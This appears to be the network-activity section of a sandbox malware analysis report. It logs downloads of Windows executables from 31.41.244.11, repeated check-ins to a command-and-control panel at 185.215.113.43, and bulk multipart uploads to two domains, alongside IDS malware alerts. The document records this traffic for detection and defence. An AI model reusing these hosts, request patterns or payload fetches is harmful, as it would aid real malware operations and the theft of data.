00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 18 Dec 2024 08:07:17 GMTContent-Type: application/octet-streamContent-Length: 4438776Last-Modified: Tue, 10 Dec 2024 00:01:52 GMTConnection: keep-aliveETag: "675784f0-43baf8"Accept-Ranges: bytesData Raw: 4d 5a 60 00 01 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 52 65 71 75 69 72 65 20 57 69 6e 64 6f 77 73 0d 0a 24 50 45 00 00 4c 01 04 00 ce 3f c3 4f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 08 00 00 90 01 00 00 96 00 00 00 00 00 00 5f 94 01 00 00 10 00 00 00 a0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 02 00 00 02 00 00 e7 a4 44 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 84 c9 01 00 c8 00 00 00 00 30 02 00 10 4f 00 00 00 00 00 00 00 00 00 00 10 7b 43 00 e8 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 01 00 6c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 0e 8e 01 00 00 10 00 00 00 90 01 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 da 3b 00 00 00 a0 01 00 00 3c 00 00 00 92 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 ec 4d 00 00 00 e0 01 00 00 0a 00 00 00 ce 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 10 4f 00 00 00 30 02 00 00 50 00 00 00 d8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 55 8b ec a1 60 e9 41 00 81 ec 04 09 00 00 53 33 db 3b c3 56 57 74 1f 66 39 1d 62 e9 41 00 74 07 ff d0 a3 60 e9 41 00 50 e8 50 14 00 00 50 e8 ef 84 00 00 59 eb 6e 6a 27 e8 40 14 00 00 8b 75 08 ff 76 0c 8b 3d c0 a2 41 00 ff 36 50 8d 85 fc f6 ff ff 50 ff d7 83 c4 14 39 5e 10 89 5d fc 76 38 8d 5e 14 ff 33 8d 85 fc fe ff ff 68 90 a4 41 00 50 ff d7 83 c4 0c 8d 85 fc fe ff ff 50 8d 85 fc f6 ff ff 50 ff 15 78 a1 41 00 ff 45 fc 8b 45 fc 83 c3 04 3b 46 10 72 cb 8d 85 fc f6 ff ff 50 e8 7e 84 00 00 59 e8 d4 36 00 00 6a 0a ff 15 74 a1 41 00 cc ff 74 24 04 e8 44 ff ff ff cc 56 8b f1 e8 25 73 00 00 c7 06 a0 a4 41 00 c7 46 38 d2 07 00 00 8b c6 5e c3 6a 01 ff 71 04 ff 15 bc a2 41 00 c3 33 c0 39 05 60 ea 41 00 74 07 b8 04 40 00 80 eb 1e 39 44 24 08 74 16 ff 74 24 08 50 68 02 80 00 00 ff 35 58 ea 41 00 ff 15 b8 a2 41 00 33 c0 c2 08 00 8b 44 24 04 83 60 1c 00 83 7c 24 08 00 75 07 c7 40 1c 01 00 00 00 33 c0 c2 08 00 a0 70 e9 41 00 f6 d8 1b c0 83 e0 0b 83 c0 08 c3 ff 74 24 10 8b 44 24 08 ff 74 24 10 c7 05 60 e9 41 00 2f 11 40 00 ff 74 24 10 8b 08 50 ff 51 0c 83 25 60 e9 41 00 00 c3 33 c0 c2 0c 00 8b 54 24 08 8b 4c 24 04 0f b7 02 66 89 01 41 41 42 42 66 85 c0 75 f1 c3 8b 4c 24 04 33 c0 66 39
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 18 Dec 2024 08:07:29 GMTContent-Type: application/octet-streamContent-Length: 1997824Last-Modified: Wed, 18 Dec 2024 07:16:03 GMTConnection: keep-aliveETag: "676276b3-1e7c00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cd d8 9a 7a 89 b9 f4 29 89 b9 f4 29 89 b9 f4 29 c2 c1 f7 28 82 b9 f4 29 c2 c1 f1 28 06 b9 f4 29 c2 c1 f0 28 9d b9 f4 29 9c c6 f1 28 af b9 f4 29 9c c6 f0 28 98 b9 f4 29 9c c6 f7 28 9d b9 f4 29 c2 c1 f5 28 8a b9 f4 29 89 b9 f5 29 da b9 f4 29 89 b9 f4 29 8b b9 f4 29 b3 39 f0 28 8a b9 f4 29 b3 39 0b 29 88 b9 f4 29 b3 39 f6 28 88 b9 f4 29 52 69 63 68 89 b9 f4 29 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 5f 7b 5f 64 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 25 00 7c 03 00 00 5e 03 00 00 00 01 00 00 60 4c 00 00 10 00 00 00 90 03 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 90 4c 00 00 04 00 00 a5 cd 1e 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 56 e0 07 00 6a 00 00 00 00 c0 07 00 6c 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 e1 07 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 b0 07 00 00 10 00 00 00 3c 04 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 6c 16 00 00 00 c0 07 00 00 08 00 00 00 4c 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 e0 07 00 00 02 00 00 00 54 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 60 2a 00 00 f0 07 00 00 02 00 00 00 56 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6b 75 63 77 7a 73 6e 70 00 00 1a 00 00 50 32 00 00 fe 19 00 00 58 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 76 67 66 6b 70 72 6f 6f 00 10 00 00 00 50 4c 00 00 04 00 00 00 56 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 60 4c 00 00 22 00 00 00 5a 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 18 Dec 2024 08:07:38 GMTContent-Type: application/octet-streamContent-Length: 765568Last-Modified: Tue, 17 Dec 2024 09:46:16 GMTConnection: keep-aliveETag: "67614868-bae80"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 09 00 a3 1e 60 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 00 00 aa 01 00 00 c0 00 00 00 00 00 00 52 59 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 f0 0b 00 00 08 00 00 00 00 00 00 03 00 40 83 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 98 37 02 00 3c 00 00 00 00 a0 02 00 e8 00 00 00 00 00 00 00 00 00 00 00 00 80 0b 00 80 2e 00 00 00 b0 02 00 40 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 fe 01 00 18 00 00 00 e8 cd 01 00 c0 00 00 00 00 00 00 00 00 00 00 00 28 39 02 00 54 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 9c a8 01 00 00 10 00 00 00 aa 01 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 24 8b 00 00 00 c0 01 00 00 8c 00 00 00 b2 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 22 00 00 00 50 02 00 00 16 00 00 00 3e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 73 53 00 00 00 00 53 00 00 00 00 80 02 00 00 02 00 00 00 54 02 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 74 6c 73 00 00 00 00 09 00 00 00 00 90 02 00 00 02 00 00 00 56 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 e8 00 00 00 00 a0 02 00 00 02 00 00 00 58 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 40 19 00 00 00 b0 02 00 00 1a 00 00 00 5a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 62 73 73 00 00 00 00 00 86 04 00 00 d0 02 00 00 86 04 00 00 74 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 73 73 00 00 00 00 00 86 04 00 00 60 07 00 00 86 04 00 00 fa 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0

Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: GET /files/fate/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 36 38 35 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016851001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/burpin1/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 36 38 35 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016852001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/unique3/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 36 38 35 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016853001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/dodo/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 36 38 35 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016854001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 104.21.23.76 104.21.23.76

Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49711 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49713 -> 104.21.23.76:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49715 -> 104.21.23.76:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49714 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49716 -> 104.21.23.76:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49717 -> 104.21.23.76:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49718 -> 104.21.23.76:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49721 -> 104.21.23.76:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49720 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49722 -> 104.21.23.76:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49725 -> 104.21.23.76:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49724 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49728 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49727 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49736 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49730 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49740 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49734 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49732 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49737 -> 172.67.179.109:443

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: pancakedipyps.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 46Host: pancakedipyps.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=0GDG4JITE956I1IUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12827Host: pancakedipyps.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=PDMMS71LW4MBUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15038Host: pancakedipyps.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=U6PTUBIO6NB4S8DUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20223Host: pancakedipyps.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=ASEZOCF4S8JVUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1206Host: pancakedipyps.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=YGK1W0IT8DWVTIQDUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 571381Host: pancakedipyps.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 81Host: pancakedipyps.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: grannyejh.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 52Host: grannyejh.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=FZDMAC0SGOOKKBDA2O9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12857Host: grannyejh.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=C14W5ZZHUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15020Host: grannyejh.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=0055V99GUATAEDUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20223Host: grannyejh.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=RHCMICRUC9ZD1TDEUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1252Host: grannyejh.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=K1V74VAR1EBAUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 571367Host: grannyejh.lat

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
